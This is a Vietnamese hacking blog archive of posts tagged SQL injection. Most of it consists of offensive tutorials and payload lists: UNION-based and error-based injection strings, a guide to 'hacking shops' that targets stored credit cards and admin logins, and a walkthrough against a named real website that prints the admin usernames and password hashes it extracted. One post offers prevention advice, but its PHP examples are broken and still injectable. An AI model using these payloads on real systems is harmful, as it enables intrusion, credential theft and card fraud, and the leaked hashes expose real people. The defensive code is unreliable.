Showing posts with label SQL Injection. Show all posts
Showing posts with label SQL Injection. Show all posts

Sunday, June 22, 2014

Anti SQL Injection

Các cách phòng chống SQL Injection

Ngay từ khái niệm, chúng ta đã có thể biết được cách phòng chống hiệu quả Sql injection chính là việc kiểm tra kỹ càng tham số đầu vào. Những tham số mà từ đó người lập trình website sử dụng để xây dựng lên câu truy vấn tới cơ sở dữ liệu.

Công việc kiểm tra tham số đầu vào (áp dụng phòng tránh lỗi Sql injection) nên được tiến hành theo nhiều tầng:

Client: javascript (có thể bypass bằng các phần mềm tamper)
Server: C#, php, jsp


- Kiểm tra kiểu của dữ liệu: đối với dữ liệu kiểu số, kiểu chuỗi … chúng ta phải có những hàm validate tương ứng.

o Nếu là kiểu int:

ASP.NET: Int32.Parse(/*Param*/);
PHP: is_numeric($var), is_int($var), is_integer($var)...


o Nếu là kiểu chuỗi:

Thiết lập độ dài tối đa cần thiết: length <= MAX_LENGTH
Lọc bỏ ký tự nguy hiểm (bao gồm các meta characters trong DBMS), lọc bỏ các từ khóa như union, select, order, information_schema, insert, drop, load_file… (sử dụng các hàm như mysql_real_escape_string(), preg_replace()…)



Ví dụ:

Mã nguồn PHP:
<?php
$id = mysql_real_escape_string($_GET['id']);
$query = mysql_query("SELECT * FROM table where id = "' .$id. '");
?>

Mã nguồn PHP:
<?php
$id = preg_replace("/[^0-9]/","", $_GET['id']);
$query = mysql_query("SELECT * FROM table where id = "' .$id. '");
?>



Kiểm tra xem định dạng chuỗi: email, username, password… đều có một định dạng nhất định, do đó có thể viết các biểu thức chính qui (Regular Expression) cho mỗi định dạng này.

C#: System.Text.RegularExpressions;
PHP: preg_match(); ...
Java: Pattern.matcher(); ...

o Sử dụng các thư viện hỗ trợ:

C#: Parameters


cmd.Parameters.Add("@var", SqlDbType.Int);
cmd.Parameters["@var"].Value = input;


o Phân quyền SQL

Tài khoản sử dụng cho ứng dụng web trong cơ sở dữ liệu dĩ nhiên phải có quyền đọc. Nhưng khi thực hiện thao tác thêm bài viết, thêm user thì nó phải cần thêm quyền ghi nữa. Do đó, tùy vào mỗi trường hợp mà ta thiết lập role phù hợp cho mỗi tài khoản web tương tác với cơ sở dữ liệu. Với những ứng dụng web thông thường, tài khoản cho ứng dụng web trong SQL SERVER nên chỉ được thiết lập quyền đọc (SELECT) (db_datareader) và quyền ghi (INSERT, UPDATE) (db_datawriter) như vậy sẽ không có quyền xóa một table.

Saturday, May 31, 2014

Tutorial sql injection rewrite url html

Demo sql injection site canvang.com

Chỉ mang tính chất học hỏi, chia sẻ exp thôi nhé, ai biết rồi thì cho qua hộ mình =.='


1. Đầu tiên tìm lỗi sql injection ở link nào nha :


Ở đây mình tìm được : 
http://www.canvang.com/sanpham/84/211/Qua-Can-Chuan-Inox.html
Thêm ' để biết có lỗi sqli hay không : 

thử thêm sau Inox xem sao : 

http://www.canvang.com/sanpham/84/211/Qua-Can-Chuan-Inox'.html
==>> không thấy gì !

http://www.canvang.com/sanpham/84/211'/Qua-Can-Chuan-Inox.html

==>> oke đã thấy lỗi.



Các bước tiếp theo thì bạn nào đọc qua bài sql injection  cơ bản rồi thì chắc sẽ đọc lướt qua thôi nhĩ ~.~



2. Tìm số trường cột qua order by 22-- -


Thử ORDER BY thôi nào :D (ở đây mình làm rồi nên làm nhanh nhé)
http://www.canvang.com/sanpham/84/211+order+by+22--+-/Qua-Can-Chuan-Inox.html --> không lỗi.
http://www.canvang.com/sanpham/84/211+order+by+23--+-/Qua-Can-Chuan-Inox.html --> lỗi nè.


3. Xác định vị trí trường cột bị lỗi : 


Sử dụng UNION SELECT nhé, nhớ thêm "-" trước "id".
http://www.canvang.com/sanpham/84/-211+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--+-/Qua-Can-Chuan-Inox.html



oke lỗi ở cột 4,6,9,17.



4. Xuất ra tên các tables trong database


Mình lấy cột 17 cho dể nhìn.
http://www.canvang.com/sanpham/84/-211+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,unhex(hex(group_concat(table_name))),18,19,20,21,22+from+information_schema.tables+where+table_schema=database()--+-/Qua-Can-Chuan-Inox.html




5. Xuất ra tên các colums trong table bee_admin :


http://www.canvang.com/sanpham/84/-211+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,unhex(hex(group_concat(column_name))),18,19,20,21,22+from+information_schema.columns+where+table_schema=database() and table_name=0x6265655f61646d696e--+-/Qua-Can-Chuan-Inox.html


| id,username,password,ymnick,type,capnhat |


6. Xuất ra thông tin của username,password :


http://www.canvang.com/sanpham/84/-211+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,unhex(hex(group_concat(username,0x2f,password))),18,19,20,21,22+from+bee_admin--+-/Qua-Can-Chuan-Inox.html

ôke đã xong.

| root/\ff6356f0eab5c5a0c7418de24953b982 |
| nam/\e10adc3949ba59abbe56e057f20f883e |
| minhdinh19782003/\ff6356f0eab5c5a0c7418de24953b982 |
crack pass : http://www.hashkiller.co.uk/md5-decrypter.aspx


end tutorial(TzT-eror69)

Friday, May 30, 2014

Khai thác lỗi sql injection dạng error - based quick blind.

Khai thác lỗi sql injection dạng error - based quick blind.

Ví dụ victim có dạng:
http://target.com/page.php?id = 1
Lệnh get version, database
http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)

Tương tự vậy, lệnh get table:
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tiếp theo, lấy column của một table nào đó
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tăng số 1 theo nguyên tắc như trên.
Và cuối cùng là dữ liệu:
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)
Mỗi site sẽ có cách khai thác khác nhau.Tuỳ cơ ứng biến nhé
===========================================================
+and 1=CAST(current_user||CHR(58)||current_database()|| CHR(58)||version()||CHR(58)||123 as int)
===========================================================
‘ and ’1′=(select 1 AND ExtractValue(1,concat(0x5C,(user())))) and ’1′=’1
===========================================================
and updatexml(0,concat(0x3a,version()),0)– -
===========================================================
null and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–
===========================================================
(@:=1)||@ group by concat(version(),0x7c,database(),0x7c,user(),!@) having@||min(@:=0)
===========================================================
/*!And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)*/–
===========================================================
+or+1+group+by+concat(0x7c,version(),floor(rand(0) *2))+having+min(0)+or+1–+

Monday, May 19, 2014

Cơ bản về SQL và Exploit SQL Injection

SQL (Structured Query Language) hay tiếng việt gọi là “Ngôn Ngữ Truy Vấn Cấu Trúc”: là loại ngôn ngữ phổ biến để tạo, sửa, lấy dữ liệu từ hệ thống quản trị cơ sở dữ liệu(có thể là SQL Server hay MySQL hay Oracle, DB2, Sysbase) theo tiêu chuẩn ANSI/ISO.

Các từ khóa SQL:

Từ khóa SQL được chia thành nhiều nhóm.

Truy vấn lấy dữ liệu (Query SQL Get Data):

SELECT: là lệnh sử dụng phổ biến, rộng rãi, là ngôn ngữ sửa đổi dữ liệu(tạm dịch) tiếng anh Data Manipulation Language – DML.

xem thêm về SELECT

Những từ khóa liên quan tới SQL

FROM dùng để chỉ định dữ liệu sẽ được lấy ra từ những bảng nào, và các bảng đó quan hệ với nhau như thế nào.
WHERE dùng để xác định những bản ghi nào sẽ được lấy ra, hoặc áp dụng với GROUP BY.
GROUP BY dùng để kết hợp các bản ghi có những giá trị liên quan với nhau thành các phần tử của một tập hợp nhỏ hơn các bản ghi.
HAVING dùng để xác định những bản ghi nào, là kết quả từ từ khóa GROUP BY, sẽ được lấy ra.
ORDER BY dùng để xác định dữ liệu lấy ra sẽ được sắp xếp theo những cột nào.

Truy vấn sửa đổi dữ liệu (Data Manipulation Language – DML):

là môt phần nhỏ của ngôn ngữ, có những thành phần tiêu chuẩn dùng để thêm, cập nhật và xóa dữ liệu delete data.

Những thẻ liên quan:


INSERT(Xem thêm) dùng để thêm dữ liệu vào một bảng đã tồn tại.

UPDATE(Xem thêm) dùng để thay đổi giá trị của một tập hợp các bản ghi trong một bảng.

MERGE dùng để kết hợp dữ liệu của nhiều bảng. Nó được dùng như việc kết hợp giữa hai phần tử INSERT và UPDATE.

DELETE(Xem thêm) xóa những bản ghi tồn tại trong một bảng.

TRUNCATE Xóa toàn bộ dữ liệu trong một bảng (không phải là tiêu chuẩn, nhưng là một lệnh SQL phổ biến).

Tham khảo thêm tại Wikimedia


SQL Injection là một kĩ thuật cho phép kẻ tấn công lợi dụng việc kiểm tra dữ liệu đầu vào trong các ứng dụng website sử dụng SQL tiêm(inject) và thi hành các câu lệnh bất hợp pháp để khai thác thông tin, dữ liệu trong hệ quản trị cơ sở dữ liệu.

Tham khảo thêm về SQL Injection tại Wikimedia

Các truy vấn trong Sql injection

UNION: là lệnh để kết hợp 2 câu truy vấn lại với nhau

FROM: là lệnh để chọn bảng để thi hành lấy dữ liệu

CONCAT: lệnh dùng để nỗi các chuỗi bên trong nó lại với nhau

Một số hình thức khai thác SQL Injection

Xem thêm tại các blog chuyên đề sql injection:

Xpath injection – Quý Thiếu Gia Blog

Error based, Double Query injection – Quý Thiếu Gia Blog

Một số hình thức bypass Sql injection – Quý Thiếu Gia Blog

Một số phương pháp để phòng lỗi SQL Injection

SQL Injection mình giới thiệu ở phía trên là lỗi không kiểm tra các dữ liệu đầu vào, để vá lỗi này, ta có một số phương pháp đơn giản sau để giảm thiểu:

-Dùng Htaccess để require lại link.

-Kiểm tra dữ liệu đầu vào, loại bỏ các kí tự đặc biệt như ‘,”,*,… hoặc nếu dữ liệu đầu vào là số nguyên (integer) thì ta có thể cố định dữ liệu gửi vào để loại bỏ toàn bộ các kí tự bất hợp pháp, loại dữ liệu khác với integer.

Khai Thác SQLi Error Based - Double Query

Câu lệnh Check Site Khi Site báo Error
------------------------------------------------------------------------------------------------------------
Query khi Union Select ko được truy vấn:
+Cách I: And(Select 1 From(Select Count(*),Concat((Select Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f)),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)

+Cách II: And(Select 1 From(Select Count(*),Concat((Select substr(Group_Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f),1,136)From tbl_user),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By QuyTG)VHG)

+Cách III: and (select 1 from (select count(*),concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) from (select 1 union select 2 union select 3)TYN group by 2)vnhack)
+Cách IV: or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- -

=> Ta sẽ get được version và các thứ linh tinh

------------------------------------------------------------------------------------------------------------

Query "Get Table_name":
And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)

Thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1... cho tới tên bẳng mà mình cần khai thác
------------------------------------------------------------------------------------------------------------

Query "Get Columns_name":
And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=... limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)



Thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1... cho tới tên bẳng mà mình cần khai thác

------------------------------------------------------------------------------------------------------------

And(Select 1 From(Select Count(*),Concat((select concat(0x2f,...,0x2f,...,0x2f) from tbl_user limit 0,1),floor(rAnd(0)*2))QuyTG From Information_Schema.columns Group By QuyTG)VHG)

nguồn : http://quytg-cehv.blogspot.com/

Tài liệu SQL Injection

Ebook về  SQL Injection
Ebook download
sẽ bổ sung thêm :D

Cơ Bản về SQL

SQL & SQL Injection
I. Cơ bản về SQL (structured query language)
1. Khái niệm database : Database Là một tập hợp các dữ liệu có liên quan với nhau chứa thông tin về một tổ chức nào đó (như một trường đại học, một ngân hàng, một công ty, một nhà máy, một website...)

2. Một số loại database : MySQL, SQL Server, Access, Oracle, Sybase, DB2, and other database systems.

3. Cấu trúc :
a) Tên database (create database name_database ) : Tên tổng quát mình muốn đặt cho database cần tạo. Trong 1 database gồm có nhiều table.
Ví dụ : quản lý học sinh, DB_shop ...
b) Table (create table name_table ) : Table dùng để chứa các đối tượng cần lưu trữ dưới dạng dữ liệu. Trong mỗi table thì có nhiều row và column. Mỗi column sẽ là một trường dữ liệu có kiểu dữ liệu cụ thể. Giúp nhận định rõ thông tin cần lưu là gì.
c) Select [thông tin muốn lấy] from [bảng muốn lấy] where [điều kiện lấy ] -> đối với đối tượng đã có database.
Ví dụ : select * from admin
d) Nếu bạn tiếp cận dưới hình thức tìm lỗi. Bạn sẽ không biết được database cụ thể. Lúc này bạn phải dùng tới cấu trúc information_schema.
Ví dụ : select * from information_schema.tables where table_schema = 'name'

Các bạn có thể xem chi tiết hơn tại phần download bên dưới.
Nguồn: Admin CEH Valentine

Sunday, May 11, 2014

Hướng dẫn hack shop bằng SQL Injection

Tut Về Hack Shop  Sql Injection Bổ Ích Cho Newbie.

Hack Shop Thì Có Nhiều Cách Nhưng Sẽ Có 1 Số Cách Chung. Bạn Sẽ Dễ Dàng Nhập Vô Bài Viết Hơn Nếu Bạn Hiểu Rõ Cấu Trúc Cơ Sở Dữ Liệu Của SQL. Bạn Nên Cài Xamp Trên Localhost Và Vào phpMyAdmin Để Coi Cấu Trúc Cơ Sở Dữ Liệu (CSDL) SQL. Ok Let's Go Đi Vào Bài Viết.

Muốn Biết Shop Đó Có Dính Lỗi SQL Injection (Từ Nay Gọi Tắt Là SQLi) Thì Đa Phần Các Bạn Hãy Thêm Dấu ' Vào Sau Link:

| http://shop.com/product.asp?id=15' |


Nếu May Mắn Thì Nó Sẽ Báo Lỗi (Tức Là Không Trả Về Trang Http://shop.com/product.asp?id=15 Như Bình Thường). Đại Khái Là Nó Sẽ Bào Lỗi "unclose" Gì Gì Đó. Đôi Khi Các Bạn Sẽ Gặp Lỗi Jet Database. Những Shop Đó Dùng Database Là Jet Chứ Không Phải Là SQLi. Vấn Đề Đó Không Đề Cập Tới Trong Bài Viết.

Ok Nếu Bạn Đã Biết Được Shop Đó Dính Lỗi Rồi Thì Sao Nữa Nhỉ?

Cách 1: Tốt Nhất Là Bạn Hãy Dùng Tool Hack Shop Auto. Nếu Không Được Thì Mới Xuống Dưới.

Cách 2:  Bước 1: Thêm Đoạn Code Sau Vào Sau Link Lỗi Của Shop

|and 1=convert(select top 1 table_name from information_schema.tables)--sp_password |

Nhớ Có Khoảng Trắng Trước Chữ "and" 


Cụ Thể Sẽ Là:

| http://shop.com/product.asp?id=15 and 1=convert(select top 1 table_name from information_schema.tables)--sp_password |

Dịch Nghĩa Câu: "select top 1 table_name from information_schema.tables" ~~>>> Đưa Ra Bảng Đầu Tiên Từ Bảng "information_schema.tables" (Bảng information_schema.tables Là Bảng Lớn Nhất, Tất Cả Các Bảng Khác Đều Lưu Trong Này)


Đối Với 1 Số Trường Hợp Sẽ Phải Có Dấu Phẩy ' Ở Sau Số 15, Cái Này Không Biết Trước Được Tùy Từng Shop Các Bạn Nên Linh Động. Nếu:

| http://shop.com/product.asp?id=15 and 1=convert(select top 1 table_name from information_schema.tables)--sp_password |

<<<<< Không Được Thì Mình Chơi Thế Này:

| http://shop.com/product.asp?id=15' and 1=convert(select top 1 table_name from information_schema.tables)--sp_password |

Sau Khi Enter Thì Nó Sẽ Hiện Ra Lỗi Đại Khái Là: Syntax Error Converting... Value 'table Test' To Column Of Data... Khi Đó Chúng Ta Sẽ Biết Được Table Đầu Tiên Là "table Test". Còn Nếu Không Hiện Ra Lỗi Gì Thì Bỏ Shop Đó Đi Hoặc Thử Cách Khác.

Bước 2: Thêm Đoạn Code Sau Link Lỗi Của Shop

http://shop.com/product.asp?id=15 and 1=convert(select top 1 table_name from information_schema.tables where table_name not in('table test'))--sp_password

Dịch Nghĩa "select Top 1 Table_Name From Information_Schema.tables Where Table_Name Not In('table Test')" <<<<< Đưa Ra Table_Name Đầu Tiên Trong "information_Schema.tables" Và Table_Name Không Phải Là Table Test Nếu Tới Đây Mà Vẫn Hiện Ra Lỗi Như Lỗi Trên Thì Bạn Hãy Ngừng Ngay Lập Tức Ở Đây. Bởi Vì @ Không Hiểu Vì Sao Bạn Dùng Tool Hack Shop Auto Không Được Mà Dùng Mấy Đoạn Code Trên Lại Được Nhỉ? Các Tool Hack Shop Auto Hiện Nay Đều Dùng Các Code Trên Để Hack Shop. Bạn Hãy Kiểm Tra Xem Cái Link Shop Bạn Đưa Vào Tool Đã Đúng Chưa.
VD:

| http://shop.com/product.asp?id=15 | 
<<<<< Nhấn Submit, Nếu Ko Ra Gì Hết Thì: 

| http://shop.com/product.asp?id=15' |

Coi Như Xong Cách Này Nhé.

Cách 3:

1/. Xác Định Số Column Của Shop (Bạn Sẽ Hiểu Hơn Nếu Bạn Biết Về Cấu Trúc CSDL). Thêm Đoạn Code Sau Vào Link Lỗi Của Shop:
| order by 100 |
<<< Trước "order" Có Dấu Cách, Sau Số 100 Có Thể Thêm "/*" Nếu Cần:

| order by 100/* |

Cụ Thể Là:

| http://shop.com/product.asp?id=15 order by 100 |

Ở Đây Có 2 Trường Hợp: Th1: Nếu Trả Về Trang Ban Đầu Thì Sẽ True Tức Là Shop Đó Có Số Column Lớn Hơn Hoặc Bằng 100. Lúc Đó Bạn Hãy Tăng Số 100 Lên Cho Tới Khi Hiện Ra Lỗi Như Ở Trường Hợp 2.

VD:

| order by 150 |

Trường Hợp 2: Nếu Trả Về Trang Ban Đầu Nhưng Không Có Chữ (Hoặc Hiện Ra Lỗi) Thì Sẽ False Tức Là Shop Đó Có Số Column Nhỏ Hơn 100. Lúc Đó Bạn Hãy Giảm Số 100 Xuống Cho Tới Khi Hiện Ra Như Ở Th1. Khó Hiểu Quá...giả Sử @ Sẽ Làm Như Sau:

| http://shop.com/product.asp?id=15 order by 100 |

<<<<< Lỗi

| http://shop.com/product.asp?id=15 order by 50 |

<<<<< i =""> Số Column Nằm Trong Khoảng 50 < Column <100

| http://shop.com/product.asp?id=15 order by 70 |

<<<<< i =""> Số Column Nằm Trong Khoảng 70 < Column <100

| http://shop.com/product.asp?id=15 order by 80 |

<<<<< i =""> Số Column Nằm Trong Khoảng 80 < Column <100

| http://shop.com/product.asp?id=15 order by 90 |

<<<<< i =""> Số Column Nằm Trong Khoảng 80 < Column <90 Tức Là Thu Hẹp Khoảng Cách Lại. Típ:

| http://shop.com/product.asp?id=15 order by 85 |

<<<<< i =""> Số Column Nằm Trong Khoảng 85 < Column <90

| http://shop.com/product.asp?id=15 order by 88 |

<<<<< i =""> Số Column Nằm Trong Khoảng 85 < Column <88

| http://shop.com/product.asp?id=15 order by 86 |

<<<<< i =""> Số Column Nằm Trong Khoảng 86 < Column <88

| http://shop.com/product.asp?id=15 order by 87 |

<<<<< i =""> Số Column Nằm Trong Khoảng 86 < Column <87

"order By 86" Không Có Lỗi Nhưng "order By 87" Có Lỗi Thế Thì Suy Ra Số Column Là 86. Hiểu Rồi Chứ, Thu Hẹp Lại...

Bước 2: Thêm Đoạn Code Sau Vào Link Lỗi

| union select 1,2,3,4,5,6,7,8,9,10,11,12,13...............,83,84 ,85,86 |

<<<< Các Bạn Phẩy Tới Khi Nào Tới 86 Thì Thôi Nhé.

Nếu Hiện Ra 1 Trang Bảo Đại Khái Là: Syntax "union Select" Thì Bỏ Đi Shop Đó Không Ăn Được Đâu. Còn Nếu Nó Hiện Ra 1 Trang Trên Đó Có Các Số, Bạn Hãy Lưu Các Số Hiện Ra Trên Màn Hình Lại. Bạn Có Thể Thêm Limit 1,1 (Limit 0,1) Sau Đuôi 83,84,85,86 Nếu Nó Chẳng Hiện Ra Số Nào Cả.
VD:
| http://shop.com/product.asp?id=15 union select 1,2,3,4,5,6,7,8,9,10,11,12,13...............,83,84 ,85,86 limit 1,1 |

Lưu Mấy Số Hiện Ra Trên Màn Hình Rồi Chứ? Ok Giờ Thay Chữ "table_Name" Vào 1 Trong Các Số Đấy. Vd: Của Mình Hiện Ra Số 2,3,5. Ok Thay Chữ Table_Name Và 1 Trong 3 Số Đó.

VD:
http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from information_schema.tables limit 1,1

Giờ Nó Sẽ Hiện Ra Tables Đầu Tiên, Lấy Tables Tiếp Theo Thì Thêm Where Table_Name Not In('table Đầu Tiên')
http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13............ ...,83,84,85,86 from information_schema.tables where table_name not in('table đầu tiên') limit 1,1

Ra Table Thứ 2, Rùi Cứ Típ Tục Thêm Dấu Phẩy Sau Table Thứ Nhất, Viết Table Thứ 2 Vào Hoặc Dùng Limit 2,1

http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from information_schema.tables where table_name not in('table đầu tiên','table thứ 2') limit 1,1

Hoặc:

http://shop.com/product.asp?id=15 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from

information_schema.tables where table_name not in('table đầu tiên') limit 2,1

Nói Chung Tùy Từng Trường Hợp

Khi Lấy Tới Table Có User Và Pass Admin Hoặc Tables Lưu Cc Rùi Thì Dừng Lại. Thêm Đoạn Code Sau Vào Link Shop Lỗi. 

union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from information_schema.columns where table_name in('table chứa cc hoặc u & p admin') limit 1,1

Chú Ý: Thêm Limit 1,1 Nếu Cần
Ra Column Đầu Tiên Dùng Típ Đoạn Code Sau:

union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from information_schema.columns where table_name in('table chứa cc hoặc u & p admin') and column_name not in('column đầu tiên') limit 1,1

Rồi Cứ Làm Như Lấy Tables Thứ 2 Thứ 3

Khi Đã Ra Hết Các Column Thì Bây Giờ Đi Vào Phần Sướng Nhất.

Dùng Code Sau:

union select 1,concat(column đầu tiên,0x2f,column thứ 2,0x2f,column thứ 3,0x2f,column thứ 4),3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from table chứa cc hoặc u & p admin limit 1,1

Lấy CC Thứ 2 Dùng Code Sau:

union select 1,concat(column đầu tiên,0x2f,column thứ 2,0x2f,column thứ 3,0x2f,column thứ 4),3,4,5,6,7,8,9,10,11,12,13...............,83,84,85,86 from table chứa cc hoặc u & p admin and column thứ nhất not in('phần đầu của cc đầu tiên') limit 1,1

Tiếp Theo Thì Cứ Như Lấy Table Thứ 2 , Thứ 3 Ý, Cứ Thêm Đầu Phẩy Vào Và Enjoy !!!